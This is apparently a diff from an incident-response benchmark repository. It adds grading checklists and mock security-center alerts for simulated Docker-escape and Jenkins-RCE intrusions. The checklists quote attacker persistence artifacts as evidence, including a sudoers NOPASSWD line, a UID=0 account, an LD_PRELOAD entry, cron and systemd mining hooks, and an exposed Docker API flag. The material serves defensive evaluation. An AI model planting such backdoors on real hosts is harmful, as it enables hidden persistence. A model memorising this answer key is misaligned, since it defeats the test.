- 完整性:方案给出具体的安全组规则或 iptables 规则
|
| 122 |
+
|
| 123 |
+
## 维度 3:持久化清除(5 项)
|
| 124 |
+
|
| 125 |
+
### CHK-12:Crontab 持久化 `PER-S01`
|
| 126 |
+
- **证据**:`crontab -l` 显示 `*/10 * * * * /opt/.docker/.health-monitor >/dev/null 2>&1`
|
| 127 |
+
- **检测分**(3 分)
|
| 128 |
+
- 发现:识别到可疑 crontab 条目
|
| 129 |
+
- 证据:引用具体内容,指出 10 分钟间隔和静默输出
|
| 130 |
+
- 归因:将 crontab 与挖矿进程持久化关联
|
| 131 |
+
- **方案分**(2 分)
|
| 132 |
+
- 正确性:方案给出删除恶意 crontab 条目的正确方法
|
| 133 |
+
- 完整性:方案建议检查所有用户的 crontab 和 /etc/cron.d/
|
| 134 |
+
|
| 135 |
+
### CHK-13:Bashrc 持久化 `PER-I01`
|
| 136 |
+
- **证据**:`/root/.bashrc` 中包含 `# docker container environment initialization` 代码块,静默重启挖矿
|
| 137 |
+
- **检测分**(3 分)
|
| 138 |
+
- 发现:识别 bashrc 中追加的恶意代码
|
| 139 |
+
- 证据:引用注释伪装("docker container environment initialization")
|
| 140 |
+
- 归因:识别为每次 root 登录时自动重启挖矿的持久化手段
|
| 141 |
+
- **方案分**(2 分)
|
| 142 |
+
- 正确性:方案精确定位需删除的代码块范围
|
| 143 |
+
- 完整性:方案建议检查 .bash_profile、.profile、/etc/profile.d/
|
| 144 |
+
|
| 145 |
+
### CHK-14:Systemd 服务持久化 `PER-V01`
|
| 146 |
+
- **证据**:`/etc/systemd/system/docker-health-agent.service`,伪装为 Docker 健康检查代理,ExecStart 指向 `/opt/.docker/.health-monitor`
|
| 147 |
+
- **检测分**(3 分)
|
| 148 |
+
- 发现:识别到可疑 systemd 服务
|
| 149 |
+
- 证据:指出 unit 文件路径和 ExecStart 指向挖矿脚本
|
| 150 |
+
- 归因:识别为 systemd 层面的持久化机制
|
| 151 |
+
- **方案分**(2 分)
|
| 152 |
+
- 正确性:方案给出 `systemctl stop && disable` + 删除 + `daemon-reload`
|
| 153 |
+
- 完整性:方案包含清理后的验证步骤
|
| 154 |
+
|
| 155 |
+
### CHK-15:Systemd 服务伪装识别 `PER-V01` *仅检测项*
|
| 156 |
+
- **证据**:服务名 `docker-health-agent` 和描述 `Docker Container Health Agent` 刻意模仿合法 Docker 运维工具
|
| 157 |
+
- **检测分**(3 分)
|
| 158 |
+
- 发现:指出服务命名的伪装手法
|
| 159 |
+
- 证据:对比合法 Docker 服务命名,指出刻意模仿
|
| 160 |
+
- 归因:识别为攻击者躲避人工审查的手段
|
| 161 |
+
- **方案分**:N/A
|
| 162 |
+
|
| 163 |
+
### CHK-16:全面持久化扫描 `Q-05` *仅检测项*
|
| 164 |
+
- **证据**:除 crontab/bashrc/systemd/SSH 密钥/后门容器外无其他持久化
|
| 165 |
+
- **检测分**(3 分)
|
| 166 |
+
- 发现:执行系统性的持久化扫描(init.d、rc.local、at 任务、profile.d、Docker restart policy 等)
|
| 167 |
+
- 证据:记录扫描范围和方法
|
| 168 |
+
- 归因:证明排查全面性
|
| 169 |
+
- **方案分**:N/A
|
| 170 |
+
|
| 171 |
+
## 维度 4:评测质量维度(4 项)
|
| 172 |
+
|
| 173 |
+
### CHK-17:容器逃逸路径推断 `Q-01` *仅检测项*
|
| 174 |
+
- **证据**:攻击容器配置在快照中已无残留,可基于宿主机被入侵的后果与 Docker API 公网可达推断容器逃逸
|
| 175 |
+
- **检测分**(3 分)
|
| 176 |
+
- 发现:基于宿主机后果推断容器逃逸的存在
|
| 177 |
+
- 证据:以已观察到的宿主机入侵痕迹支撑推断,并标注直接证据缺失
|
| 178 |
+
- 归因:解释攻击者如何通过容器获取宿主机 root 权限
|
| 179 |
+
- **方案分**:N/A
|
| 180 |
+
|
| 181 |
+
### CHK-18:入口判定 `Q-01` `Q-04` *仅检测项*
|
| 182 |
+
- **证据**:`/etc/systemd/system/docker.service.d/override.conf` 中的 `-H tcp://0.0.0.0:2375` 表明 Docker Remote API 在 2375 暴露且无认证
|
| 183 |
+
- **检测分**(3 分)
|
| 184 |
+
- 发现:正确判定入口为 "Docker Remote API 未授权��问"
|
| 185 |
+
- 证据:引用 Docker daemon 配置
|
| 186 |
+
- 归因:排除 SSH 暴力破解和 Web 漏洞,正确定性为 Docker API 滥用
|
| 187 |
+
- **方案分**:N/A
|
| 188 |
+
- **关键**:Agent 不应编造 CVE 或 Web 漏洞作为入口
|
| 189 |
+
|
| 190 |
+
### CHK-19:攻击时间线重建 `Q-02` *仅检测项*
|
| 191 |
+
- **证据**:Docker events 时间戳
|
| 192 |
+
- **检测分**(3 分)
|
| 193 |
+
- 发现:以可观察文件时间为锚点整理攻击时间线
|
| 194 |
+
- 证据:列出 daemon 配置时间与宿主机残留时间,推测Docker API 探测 → privileged 容器 → SSH 密钥注入 → 宿主机登录 → 挖矿 → 持久化 → 清理的完整时间链
|
| 195 |
+
- 归因:将多个时间戳来源交叉关联,在已知时间锚点上说明先后次序
|
| 196 |
+
- **方案分**:N/A
|
| 197 |
+
- **关键**:不要求完整事件链;编造时间戳应扣分
|
| 198 |
+
|
| 199 |
+
## 维度 5:修复闭环(5 项)
|
| 200 |
+
|
| 201 |
+
### CHK-20:Docker daemon 安全重启 `Q-07`
|
| 202 |
+
- **证据**:修复 Docker 配置后 daemon 应仅监听 unix socket
|
| 203 |
+
- **检测分**(3 分)
|
| 204 |
+
- 发现:建议修复 Docker daemon 配置
|
| 205 |
+
- 证据:给出配置变更方案
|
| 206 |
+
- 归因:体现根因修复意识
|
| 207 |
+
- **方案分**(2 分)
|
| 208 |
+
- 正确性:方案给出删除 override + daemon-reload + restart 流程
|
| 209 |
+
- 完整性:方案包含验证 Docker 服务正常运行且不再监听 TCP
|
| 210 |
+
|
| 211 |
+
### CHK-21:端口 2375 关闭确认 `BAS-05`
|
| 212 |
+
- **证据**:修复后 2375 端口不应可达
|
| 213 |
+
- **检测分**(3 分)
|
| 214 |
+
- 发现:验证端口已关闭
|
| 215 |
+
- 证据:给出端口检查命令和结果
|
| 216 |
+
- 归因:确认根因已消除
|
| 217 |
+
- **方案分**(2 分)
|
| 218 |
+
- 正确性:方案给出 `ss -tlnp` 和 `curl` 验证命令
|
| 219 |
+
- 完整性:方案同时从主机内部和外部验证
|
| 220 |
+
|
| 221 |
+
### CHK-22:业务容器正常运行 `Q-07`
|
| 222 |
+
- **证据**:Nginx、WebApp、PostgreSQL 容器应在修复后正常运行
|
| 223 |
+
- **检测分**(3 分)
|
| 224 |
+
- 发现:建议验证修复操作未影响业务
|
| 225 |
+
- 证据:列出需要验证的服务
|
| 226 |
+
- 归因:体现业务影响意识
|
| 227 |
+
- **方案分**(2 分)
|
| 228 |
+
- 正确性:方案列出各容器的健康检查命令
|
| 229 |
+
- 完整性:方案涵盖 docker ps 状态 + HTTP 接口验证
|
| 230 |
+
|
| 231 |
+
### CHK-23:攻击者 IP 防火墙封禁 `ENT-N01`
|
| 232 |
+
- **证据**:从 Docker events / SSH 日志识别的攻击者 IP
|
| 233 |
+
- **检测分**(3 分)
|
| 234 |
+
- 发现:建议封禁攻击者 IP
|
| 235 |
+
- 证据:引用具体 IP 地址
|
| 236 |
+
- 归因:关联到 Docker API 滥用
|
| 237 |
+
- **方案分**(2 分)
|
| 238 |
+
- 正确性:方案给出正确的防火墙规则
|
| 239 |
+
- 完整性:方案包含规则持久化
|
| 240 |
+
|
| 241 |
+
### CHK-24:挖矿外连封禁 `ENT-N02`
|
| 242 |
+
- **证据**:挖矿程序曾连接 `stratum+tcp://pool.evil-example.invalid:3333`
|
| 243 |
+
- **检测分**(3 分)
|
| 244 |
+
- 发现:建议封禁矿池出站连接
|
| 245 |
+
- 证据:引用矿池地址
|
| 246 |
+
- 归因:识别为挖矿流量
|
| 247 |
+
- **方案分**(2 分)
|
| 248 |
+
- 正确性:方案给出出站封禁规则
|
| 249 |
+
- 完整性:方案包含 IP + 端口的封禁和规则持久化
|
ranges/docker-escape/disk.tar.gz
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:a8e0409aef0465522082b007a5a5f5f85f3d7377a404e801dceb514d7f8ed206
|
| 3 |
+
size 1150413746
|
ranges/docker-escape/disk.tar.gz.sha256
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:562b58df4b98d320a9121cf7b99771594504a02028b88c4260dba6eb30df6b52
|
| 3 |
+
size 78
|
ranges/docker-escape/sas-mock/alerts.json
ADDED
|
@@ -0,0 +1,111 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"Count": 3,
|
| 3 |
+
"CurrentPage": 1,
|
| 4 |
+
"PageSize": 50,
|
| 5 |
+
"RequestId": "E7H1G6I5-CH8F-1G0I-FD34-5678901234EF",
|
| 6 |
+
"SuspEvents": [
|
| 7 |
+
{
|
| 8 |
+
"AlarmEventName": "挖矿程序",
|
| 9 |
+
"AlarmEventNameDisplay": "挖矿程序",
|
| 10 |
+
"AlarmEventType": "挖矿行为",
|
| 11 |
+
"AlarmEventTypeDisplay": "挖矿行为",
|
| 12 |
+
"AlarmUniqueInfo": "a1b2c3d4e5f6789012345678abcdef01",
|
| 13 |
+
"CanBeDealOnLine": false,
|
| 14 |
+
"DataSource": "aegis_suspicious_event",
|
| 15 |
+
"Desc": "云安全中心检测到您的服务器上存在疑似挖矿行为,进程持续高CPU占用。",
|
| 16 |
+
"Details": [
|
| 17 |
+
{ "NameDisplay": "提示", "Type": "text", "Value": "检测到您的机器上出现了疑似挖矿进程, 请及时排查.", "ValueDisplay": "检测到您的机器上出现了疑似挖矿进程, 请及时排查." },
|
| 18 |
+
{ "NameDisplay": "ATT&CK 矩阵ID", "Type": "text", "Value": "T1496", "ValueDisplay": "T1496" },
|
| 19 |
+
{ "NameDisplay": "数据来源", "Type": "text", "Value": "进程行为检测", "ValueDisplay": "进程行为检测" },
|
| 20 |
+
{ "NameDisplay": "告警原因", "Type": "text", "Value": "该进程持续占用大量CPU资源, 命令行模式与已知挖矿程序特征匹配.", "ValueDisplay": "该进程持续占用大量CPU资源, 命令行模式与已知挖矿程序特征匹配." },
|
| 21 |
+
{ "NameDisplay": "用户名", "Type": "text", "Value": "root", "ValueDisplay": "root" },
|
| 22 |
+
{ "NameDisplay": "命令行", "Type": "text", "Value": "bash /opt/.docker/.health-monitor", "ValueDisplay": "bash /opt/.docker/.health-monitor" },
|
| 23 |
+
{ "NameDisplay": "进程路径", "Type": "text", "Value": "/usr/bin/bash", "ValueDisplay": "/usr/bin/bash" },
|
| 24 |
+
{ "NameDisplay": "进程ID", "Type": "text", "Value": "4721", "ValueDisplay": "4721" },
|
| 25 |
+
{ "NameDisplay": "描述", "Type": "text", "Value": "挖矿程序会大量消耗服务器CPU/GPU资源进行虚拟货币挖矿, 导致正常业务性能下降.", "ValueDisplay": "挖矿程序会大量消耗服务器CPU/GPU资源进行虚拟货币挖矿, 导致正常业务性能下降." },
|
| 26 |
+
{ "NameDisplay": "处置建议", "Type": "text", "Value": "1. 立即kill挖矿进程; 2. 排查挖矿脚本来源和持久化机制; 3. 检查服务器是否存在其他入侵痕迹.", "ValueDisplay": "1. 立即kill挖矿进程; 2. 排查挖矿脚本来源和持久化机制; 3. 检查服务器是否存在其他入侵痕迹." }
|
| 27 |
+
],
|
| 28 |
+
"EventStatus": 1,
|
| 29 |
+
"EventSubType": "挖矿程序",
|
| 30 |
+
"HasTraceInfo": false,
|
| 31 |
+
"Id": 813553701,
|
| 32 |
+
"InstanceId": "i-mock-docker-escape-001",
|
| 33 |
+
"InstanceName": "range-docker-escape-victim",
|
| 34 |
+
"InternetIp": "__VICTIM_IP__",
|
| 35 |
+
"IntranetIp": "172.16.33.131",
|
| 36 |
+
"Level": "serious",
|
| 37 |
+
"Name": "挖矿行为-挖矿程序",
|
| 38 |
+
"OccurrenceTime": "__SAS_TS_BASE__ 15:32:18",
|
| 39 |
+
"Stages": "[\"影响\"]",
|
| 40 |
+
"TacticItems": [{ "TacticDisplayName": "影响", "TacticId": "TA0040" }]
|
| 41 |
+
},
|
| 42 |
+
{
|
| 43 |
+
"AlarmEventName": "异常定时任务写入",
|
| 44 |
+
"AlarmEventNameDisplay": "可疑Cron任务",
|
| 45 |
+
"AlarmEventType": "持久化后门",
|
| 46 |
+
"AlarmEventTypeDisplay": "持久化后门",
|
| 47 |
+
"AlarmUniqueInfo": "b2c3d4e5f6a78901234567890bcdef02",
|
| 48 |
+
"CanBeDealOnLine": false,
|
| 49 |
+
"DataSource": "aegis_suspicious_event",
|
| 50 |
+
"Desc": "云安全中心检测到crontab中被写入可疑定时任务,该任务可能用于持久化恶意程序。",
|
| 51 |
+
"Details": [
|
| 52 |
+
{ "NameDisplay": "提示", "Type": "text", "Value": "检测到您的crontab中被写入了可疑的定时任务.", "ValueDisplay": "检测到您的crontab中被写入了可疑的定时任务." },
|
| 53 |
+
{ "NameDisplay": "ATT&CK 矩阵ID", "Type": "text", "Value": "T1053.003", "ValueDisplay": "T1053.003" },
|
| 54 |
+
{ "NameDisplay": "数据来源", "Type": "text", "Value": "crontab文件变更检测", "ValueDisplay": "crontab文件变更检测" },
|
| 55 |
+
{ "NameDisplay": "告警原因", "Type": "text", "Value": "新增crontab条目指向隐藏目录下的脚本文件.", "ValueDisplay": "新增crontab条目指向隐藏目录下的脚本文件." },
|
| 56 |
+
{ "NameDisplay": "用户名", "Type": "text", "Value": "root", "ValueDisplay": "root" },
|
| 57 |
+
{ "NameDisplay": "Crontab内容", "Type": "text", "Value": "*/10 * * * * /opt/.docker/.health-monitor >/dev/null 2>&1", "ValueDisplay": "*/10 * * * * /opt/.docker/.health-monitor >/dev/null 2>&1" },
|
| 58 |
+
{ "NameDisplay": "描述", "Type": "text", "Value": "攻击者通过向crontab中写入定时任务实现恶意程序的持久化, 即使进程被kill也会定时重启.", "ValueDisplay": "攻击者通过向crontab中写入定时任务实现恶意程序的持久化, 即使进程被kill也会定时重启." },
|
| 59 |
+
{ "NameDisplay": "处置建议", "Type": "text", "Value": "1. 删除恶意crontab条目; 2. 删除对应的恶意脚本文件; 3. 排查其他持久化方式.", "ValueDisplay": "1. 删除恶意crontab条目; 2. 删除对应的恶意脚本文件; 3. 排查其他持久化方式." }
|
| 60 |
+
],
|
| 61 |
+
"EventStatus": 1,
|
| 62 |
+
"EventSubType": "可疑Cron任务",
|
| 63 |
+
"HasTraceInfo": false,
|
| 64 |
+
"Id": 813553702,
|
| 65 |
+
"InstanceId": "i-mock-docker-escape-001",
|
| 66 |
+
"InstanceName": "range-docker-escape-victim",
|
| 67 |
+
"InternetIp": "__VICTIM_IP__",
|
| 68 |
+
"IntranetIp": "172.16.33.131",
|
| 69 |
+
"Level": "suspicious",
|
| 70 |
+
"Name": "持久化后门-可疑Cron任务",
|
| 71 |
+
"OccurrenceTime": "__SAS_TS_BASE__ 15:41:53",
|
| 72 |
+
"Stages": "[\"持久化\"]",
|
| 73 |
+
"TacticItems": [{ "TacticDisplayName": "持久化", "TacticId": "TA0003" }]
|
| 74 |
+
},
|
| 75 |
+
{
|
| 76 |
+
"AlarmEventName": "异常Systemd服务",
|
| 77 |
+
"AlarmEventNameDisplay": "异常自启动项",
|
| 78 |
+
"AlarmEventType": "持久化后门",
|
| 79 |
+
"AlarmEventTypeDisplay": "持久化后门",
|
| 80 |
+
"AlarmUniqueInfo": "c3d4e5f6a7b890123456789abcdef03",
|
| 81 |
+
"CanBeDealOnLine": false,
|
| 82 |
+
"DataSource": "aegis_suspicious_event",
|
| 83 |
+
"Desc": "云安全中心检测到新增了异常的systemd服务单元文件,该服务可能用于持久化。",
|
| 84 |
+
"Details": [
|
| 85 |
+
{ "NameDisplay": "提示", "Type": "text", "Value": "检测到新增了可疑的systemd服务.", "ValueDisplay": "检测到新增了可疑的systemd服务." },
|
| 86 |
+
{ "NameDisplay": "ATT&CK 矩阵ID", "Type": "text", "Value": "T1543.002", "ValueDisplay": "T1543.002" },
|
| 87 |
+
{ "NameDisplay": "数据来源", "Type": "text", "Value": "systemd unit文件变更检测", "ValueDisplay": "systemd unit文件变更检测" },
|
| 88 |
+
{ "NameDisplay": "告警原因", "Type": "text", "Value": "新增systemd service文件启动隐藏目录下的脚本, 且设置了自动重启策略.", "ValueDisplay": "新增systemd service文件启动隐藏目录下的脚本, 且设置了自动重启策略." },
|
| 89 |
+
{ "NameDisplay": "用户名", "Type": "text", "Value": "root", "ValueDisplay": "root" },
|
| 90 |
+
{ "NameDisplay": "服务文件", "Type": "text", "Value": "/etc/systemd/system/docker-health-agent.service", "ValueDisplay": "/etc/systemd/system/docker-health-agent.service" },
|
| 91 |
+
{ "NameDisplay": "执行命令", "Type": "text", "Value": "/opt/.docker/.health-monitor", "ValueDisplay": "/opt/.docker/.health-monitor" },
|
| 92 |
+
{ "NameDisplay": "描述", "Type": "text", "Value": "攻击者通过创建systemd服务实现恶意程序持久化, 服务会在系统启动时自动运行.", "ValueDisplay": "攻击者通过创建systemd服务实现恶意程序持久化, 服务会在系统启动时自动运行." },
|
| 93 |
+
{ "NameDisplay": "处置建议", "Type": "text", "Value": "1. 停止并禁用该服务; 2. 删除对应的unit文件; 3. 删除对应的恶意脚本.", "ValueDisplay": "1. 停止并禁用该服务; 2. 删除对应的unit文件; 3. 删除对应的恶意脚本." }
|
| 94 |
+
],
|
| 95 |
+
"EventStatus": 1,
|
| 96 |
+
"EventSubType": "异常自启动项",
|
| 97 |
+
"HasTraceInfo": false,
|
| 98 |
+
"Id": 813553703,
|
| 99 |
+
"InstanceId": "i-mock-docker-escape-001",
|
| 100 |
+
"InstanceName": "range-docker-escape-victim",
|
| 101 |
+
"InternetIp": "__VICTIM_IP__",
|
| 102 |
+
"IntranetIp": "172.16.33.131",
|
| 103 |
+
"Level": "suspicious",
|
| 104 |
+
"Name": "持久化后门-异常自启动项",
|
| 105 |
+
"OccurrenceTime": "__SAS_TS_BASE__ 15:42:10",
|
| 106 |
+
"Stages": "[\"持久化\"]",
|
| 107 |
+
"TacticItems": [{ "TacticDisplayName": "持久化", "TacticId": "TA0003" }]
|
| 108 |
+
}
|
| 109 |
+
],
|
| 110 |
+
"_comment": "SAS 检测结果。Docker Remote API 未授权访问 (2375) 不产出告警,容器逃逸(privileged 容器 + 主机 FS 挂载)不产出告警,SSH 密钥注入不产出告警,bashrc 持久化不产出告警,后门容器(infra-monitor)不产出告警。SAS 仅检测到宿主机层面的挖矿进程、crontab 写入、systemd service 安装。Agent 需要通过 Docker events/logs 和主机取证发现完整攻击链。"
|
| 111 |
+
}
|
ranges/docker-escape/sas-mock/baselines.json
ADDED
|
@@ -0,0 +1,9 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"Count": 0,
|
| 3 |
+
"CurrentPage": 1,
|
| 4 |
+
"PageSize": 50,
|
| 5 |
+
"RequestId": "F8I2H7J6-DI9G-0F1H-GE45-6789012345FG",
|
| 6 |
+
"TotalCount": 0,
|
| 7 |
+
"WarningSummarys": [],
|
| 8 |
+
"_comment": "SAS 免费版不提供主机级基线检查(Docker 配置、SSH 配置、账户安全等)。Docker TCP API 暴露 (0.0.0.0:2375) 属于 Docker 配置弱点但不在 SAS 免费版检测范围。"
|
| 9 |
+
}
|
ranges/docker-escape/sas-mock/vulns.json
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"cve": { "CurrentPage": 1, "PageSize": 50, "RequestId": "G9J3I8K7-EJ0H-2I1J-HF56-7890123456GH", "TotalCount": 0, "VulRecords": [] },
|
| 3 |
+
"sys": { "CurrentPage": 1, "PageSize": 50, "RequestId": "H0K4J9L8-FK1I-3J2K-IG67-8901234567HI", "TotalCount": 0, "VulRecords": [] },
|
| 4 |
+
"app": { "CurrentPage": 1, "PageSize": 50, "RequestId": "I1L5K0M9-GL2J-4K3L-JH78-9012345678IJ", "TotalCount": 0, "VulRecords": [] },
|
| 5 |
+
"_comment": "SAS 未检测到 CVE 或应用漏洞。Docker Remote API 未授权访问属于配置弱点而非 CVE。"
|
| 6 |
+
}
|
ranges/jenkins-rce/checklist.en.md
ADDED
|
@@ -0,0 +1,126 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-jenkins-rce Checklist
|
| 2 |
+
|
| 3 |
+
Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score.
|
| 4 |
+
|
| 5 |
+
- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1)
|
| 6 |
+
- **Plan score** (max 2 pts): Correctness(1) + Completeness(1)
|
| 7 |
+
|
| 8 |
+
## Dimension 1: Intrusion entity identification and remediation
|
| 9 |
+
|
| 10 |
+
### CHK-01: Mining process detection `ENT-P01`
|
| 11 |
+
- **Evidence**: process `/var/cache/jenkins/.update3` is running, with argv[0] disguised as `jenkins-agent.jar`
|
| 12 |
+
- **Detection score**: discover the mining process; point out the path and disguised naming; attribute to attacker profiteering
|
| 13 |
+
- **Plan score**: kill command is correct; includes process termination + binary deletion + checking watchdog mechanisms
|
| 14 |
+
|
| 15 |
+
### CHK-02: Mining binary cleanup `ENT-F02`
|
| 16 |
+
- **Evidence**: `/var/cache/jenkins/.update` (xmrig binary disguised as a Jenkins cache directory)
|
| 17 |
+
- **Detection score**: identify the malicious file; point out the path and type (identify xmrig via hash comparison); associate with mining
|
| 18 |
+
- **Plan score**: rm command is correct; recommend checking for copies in locations such as /var/cache, /tmp
|
| 19 |
+
|
| 20 |
+
### CHK-03: Crontab persistence cleanup `PER-S01`
|
| 21 |
+
- **Evidence**: `/etc/cron.d/jenkins-update` contains a mining startup entry
|
| 22 |
+
- **Detection score**: discover the abnormal cron file; point out the path and content; associate with the mining watchdog
|
| 23 |
+
- **Plan score**: file deletion command is correct; recommend checking all cron locations
|
| 24 |
+
|
| 25 |
+
### CHK-04: Malicious UID=0 account cleanup `PER-A03`
|
| 26 |
+
- **Evidence**: `/etc/passwd` contains `jenkins-build:x:0:0:::/bin/bash`, with an abnormal UID=0
|
| 27 |
+
- **Detection score**: discover the abnormal account; point out UID=0 + naming that imitates jenkins; attribute to a backdoor
|
| 28 |
+
- **Plan score**: userdel command is correct; recommend auditing all UID=0 accounts
|
| 29 |
+
|
| 30 |
+
### CHK-05: SUID-root bash backdoor cleanup `PER-M01`
|
| 31 |
+
- **Evidence**: `/usr/local/bin/.update` is a bash copy with permissions 4755
|
| 32 |
+
- **Detection score**: discover the SUID binary; identify it as a bash copy; attribute to privilege persistence
|
| 33 |
+
- **Plan score**: chmod u-s + rm commands are correct; recommend a full-disk audit with find -perm -4000
|
| 34 |
+
|
| 35 |
+
### CHK-06: sudoers NOPASSWD tampering restoration `ENT-F05`
|
| 36 |
+
- **Evidence**: `/etc/sudoers` has an extra line `jenkins ALL=(ALL) NOPASSWD: ALL` appended at the end
|
| 37 |
+
- **Detection score**: discover the abnormal sudoers line; identify it as written by the attacker; attribute to a privilege-escalation backdoor
|
| 38 |
+
- **Plan score**: delete that line + verify with visudo -cf; explain the rollback method
|
| 39 |
+
|
| 40 |
+
### CHK-07: /etc/environment LD_PRELOAD injection cleanup `PER-I02`
|
| 41 |
+
- **Evidence**: `/etc/environment` contains `LD_PRELOAD=/var/cache/jenkins/.x.so`, and .x.so is an empty stub planted by the attacker
|
| 42 |
+
- **Detection score**: discover the abnormal environment entry; identify the LD_PRELOAD injection intent; associate with attacker persistence
|
| 43 |
+
- **Plan score**: delete that line + delete the .x.so file
|
| 44 |
+
|
| 45 |
+
### CHK-08: Jenkins startup-hook backdoor cleanup `PER-W02`
|
| 46 |
+
- **Evidence**: `$JENKINS_HOME/init.groovy.d/zz-update.groovy` executes malicious code when Jenkins starts
|
| 47 |
+
- **Detection score**: discover the abnormal init.groovy.d script; identify that it executes when Jenkins starts; attribute to application-layer persistence
|
| 48 |
+
- **Plan score**: delete the .groovy file + restart Jenkins to apply the change
|
| 49 |
+
|
| 50 |
+
### CHK-09: Credential-dump file cleanup `ENT-F04`
|
| 51 |
+
- **Evidence**: `/var/cache/jenkins/.j.tgz` is a tar archive of `secrets/ + credentials.xml`
|
| 52 |
+
- **Detection score**: discover the dump file; identify the content as Jenkins credentials; attribute to attacker credential theft
|
| 53 |
+
- **Plan score**: preserve for forensics then delete the original file + note that credentials are leaked and require rotation
|
| 54 |
+
|
| 55 |
+
### CHK-10: Mining-pool domain hosts-tampering cleanup `ENT-N03`
|
| 56 |
+
- **Evidence**: `/etc/hosts` contains `8.217.135.152 pool.supportxmr.com`
|
| 57 |
+
- **Detection score**: discover the abnormal hosts entry; identify supportxmr as a known XMR mining-pool domain; attribute to DNS hijacking
|
| 58 |
+
- **Plan score**: delete that entry + add a sinkhole (0.0.0.0 pool.supportxmr.com) to prevent re-resolution
|
| 59 |
+
|
| 60 |
+
### CHK-11: Mining-pool IP outbound block `ENT-N02`
|
| 61 |
+
- **Evidence**: the mining process connects to `8.217.135.152:3333`, and this IP also appears in cron
|
| 62 |
+
- **Detection score**: discover the outbound mining-pool connection; identify port 3333 (Stratum protocol); associate with mining
|
| 63 |
+
- **Plan score**: iptables OUTPUT DROP -d 8.217.135.152 + security-group outbound rule
|
| 64 |
+
|
| 65 |
+
### CHK-12: Attacker IP inbound block `ENT-N01`
|
| 66 |
+
- **Evidence**: `/var/log/jenkins/access.log` has numerous POST `/script` requests from the attacker IP
|
| 67 |
+
- **Detection score**: reconstruct the attacker IP from the access log; locate the first intrusion time; associate with Groovy delivery
|
| 68 |
+
- **Plan score**: iptables INPUT DROP -s <attacker_ip> + security-group inbound rule
|
| 69 |
+
|
| 70 |
+
## Dimension 2: Root-cause remediation (entry side)
|
| 71 |
+
|
| 72 |
+
### CHK-13: Jenkins anonymous-permission fix `BAS-06`
|
| 73 |
+
- **Evidence**: in `$JENKINS_HOME/config.xml`, `<authorizationStrategy>` grants `anonymous` the `Administer` permission, so curl `/script` directly returns the Groovy console
|
| 74 |
+
- **Detection score**: identify the Jenkins misconfiguration; point out the misconfigured item (anonymous Administer); attribute to the intrusion entry point
|
| 75 |
+
- **Plan score**: modify authorizationStrategy to revoke anonymous permissions + restart Jenkins; explain the business impact
|
| 76 |
+
|
| 77 |
+
### CHK-14: Jenkins admin weak-password fix `BAS-03`
|
| 78 |
+
- **Evidence**: the admin user uses a default weak password (admin123)
|
| 79 |
+
- **Detection score**: identify the weak password; point out the weak-password pattern of the admin user; attribute to lateral-movement risk after credential leakage
|
| 80 |
+
- **Plan score**: reset the admin password (>=14 chars); also recommend rotating all secrets in credentials.xml
